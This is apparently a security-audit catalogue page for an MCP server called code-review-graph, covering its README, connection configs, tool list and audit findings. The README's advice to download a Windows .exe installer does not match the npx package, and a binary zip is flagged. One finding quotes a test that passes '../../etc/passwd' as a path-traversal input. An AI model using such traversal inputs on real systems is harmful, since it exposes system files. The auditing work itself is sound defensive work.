Atlas / MCP servers / apodal-cherry334 / code-review-graph

code-review-graphSAFE

Name: code-review-graph
Author: apodal-cherry334

mcp/apodal-cherry334/code-review-graph

MCP server by apodal-cherry334 · ai coding tools · ai tools · claude code · Audited 2026-10-12

⚑ Report / re-scan Source ↗

Map code reviews as graphs to optimize token usage and improve analysis accuracy.

Verdict

SAFE

Grade

Trust score

89 /100

Exposed tools

30 25r · 5w · 0d

Transport

stdio · streamable-http

License

MIT

Stars

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

[](https://apodal-cherry334.github.io)

Code-review-graph builds a map of your software code. It helps AI tools read your files. This tool makes AI work faster and smarter when it scans your projects. Use it to speed up your deep dives into large codebases.

📥 Getting Started

Follow these steps to set up the software on your Windows computer.

Visit the releases page to see all versions.
Look for the file ending in .msi or .exe under the latest release heading.
Click the file name to download the installer to your Downloads folder.
Open the file you just downloaded.
Follow the prompts on the screen to install the software.
Launch the program from your Start menu once the installation finishes.

🛠️ Requirements

Your computer needs these items to run the software:

Windows 10 or Windows 11.
A stable internet connection for the first setup.
4GB of RAM.
500MB of free hard drive space.

🎯 How it Works

The tool uses a process called static analysis. It scans your files to learn how parts of your code connect. It saves these connections in a graph. A graph acts like a map for your files. When you ask an AI to fix a bug or explain a function, the AI uses this map. It ignores useless code and focuses on specific parts. This saves time and money. It also keeps your data local. Your code never leaves your computer.

⚡ Key Features

Automated Mapping: Start the tool, click scan, and watch it map your folders.
Context Reduction: The tool feeds small, relevant chunks of code to AI agents.
Large Project Support: Work on big codebases without slow performance.
Simple Interface: Click buttons to control the scanner.
Privacy First: Your source code stays on your local machine.

⚙️ Using the App

Open the application after installation. You will see a text box for y

Read from source at commit 654ec41d2e47OBSERVED · 2026-10-12

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.

claude-code

claude mcp add code-review-graph --env CRG_OPENAI_API_KEY=${CRG_OPENAI_API_KEY} --env GOOGLE_API_KEY=${GOOGLE_API_KEY} --env MINIMAX_API_KEY=${MINIMAX_API_KEY} --env SECRET=${SECRET} -- npx -y [email protected]

claude-desktop

{
  "mcpServers": {
    "code-review-graph": {
      "command": "npx",
      "args": [
        "-y",
        "[email protected]"
      ],
      "env": {
        "CRG_OPENAI_API_KEY": "${CRG_OPENAI_API_KEY}",
        "GOOGLE_API_KEY": "${GOOGLE_API_KEY}",
        "MINIMAX_API_KEY": "${MINIMAX_API_KEY}",
        "SECRET": "${SECRET}"
      }
    }
  }
}

Exposed tools (30)

25 read · 5 write · 0 destructive.

Tool	Risk	Description
`apply_refactor_tool`	write	Apply a previously previewed refactoring to source files.
`build_or_update_graph_tool`	write	Build or incrementally update the code knowledge graph.
`cross_repo_search_tool`	read	Search for code entities across all registered repositories.
`detect_changes_tool`	read	Detect changes and produce risk-scored, priority-ordered review guidance.
`embed_graph_tool`	write	Compute vector embeddings for all graph nodes to enable semantic search.
`find_large_functions_tool`	read	Find functions, classes, or files exceeding a line-count threshold.
`generate_wiki_tool`	read	Generate a markdown wiki from the code community structure.
`get_affected_flows_tool`	read	Find execution flows affected by changed files.
`get_architecture_overview_tool`	read	Generate an architecture overview based on community structure.
`get_bridge_nodes_tool`	read	Find architectural chokepoints via betweenness centrality.
`get_community_tool`	read	Get detailed information about a single code community.
`get_docs_section_tool`	read	Get a specific section from the LLM-optimized documentation reference.
`get_flow_tool`	read	Get detailed information about a single execution flow.
`get_hub_nodes_tool`	read	Find the most connected nodes in the codebase (architectural hotspots).
`get_impact_radius_tool`	read	Analyze the blast radius of changed files in the codebase.
`get_knowledge_gaps_tool`	read	Identify structural weaknesses in the codebase graph.
`get_minimal_context_tool`	read	Get ultra-compact context for any task (~100 tokens). Always call this first.
`get_review_context_tool`	read	Generate a focused, token-efficient review context for code changes.
`get_suggested_questions_tool`	read	Auto-generate review questions from graph analysis.
`get_surprising_connections_tool`	read	Find unexpected architectural coupling via composite surprise scoring.
`get_wiki_page_tool`	read	Retrieve a specific wiki page by community name.
`list_communities_tool`	read	List detected code communities in the codebase.
`list_flows_tool`	read	List execution flows in the codebase, sorted by criticality.
`list_graph_stats_tool`	read	Get aggregate statistics about the code knowledge graph.
`list_repos_tool`	read	List all registered repositories in the multi-repo registry.
`query_graph_tool`	write	Run a predefined graph query to explore code relationships.
`refactor_tool`	read	Graph-powered refactoring operations.
`run_postprocess_tool`	write	Run post-processing on existing graph (flows, communities, FTS index).
`semantic_search_nodes_tool`	read	Search for code entities by name, keyword, or semantic similarity.
`traverse_graph_tool`	read	BFS/DFS traversal from best-matching node with token budget.

Trust audit

SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.

Layer	What it checks	Result
L0	Provenance & inventory	WARN
L1	Static analysis of the code	PASS
L2	Instruction surface (what it tells the agent)	PASS
L3	Class-specific surface	PASS
L4	Behavioural (sandbox)	SKIPPED

What the source does

Filesystem: declared (1 observation(s))
Network: declared (5 observation(s))
Shell: none-observed
Dependencies: not all pinned
Secrets in source: none-found

Findings (11)

MEDIUMInventory / provenance · inv.binary · CWE-1104

code-review-graph-vscode/src/onboarding/code-review-graph-1.0.zip

code-review-graph-1.0.zip

Why it matters. a compiled or binary member cannot be reviewed from source

Fix. ship source, or explain the binary in the README

LOWInventory / provenance · inv.hidden_file · CWE-1104

code-review-graph-vscode/.vscodeignore

.vscodeignore

Why it matters. hidden member outside the usual dotfiles

Fix. review its purpose

LOWFilesystem / path · fs.traversal · CWE-22, CWE-59

tests/test_integration_git.py:353

result = get_wiki_page(str(wiki_dir), "../../etc/passwd")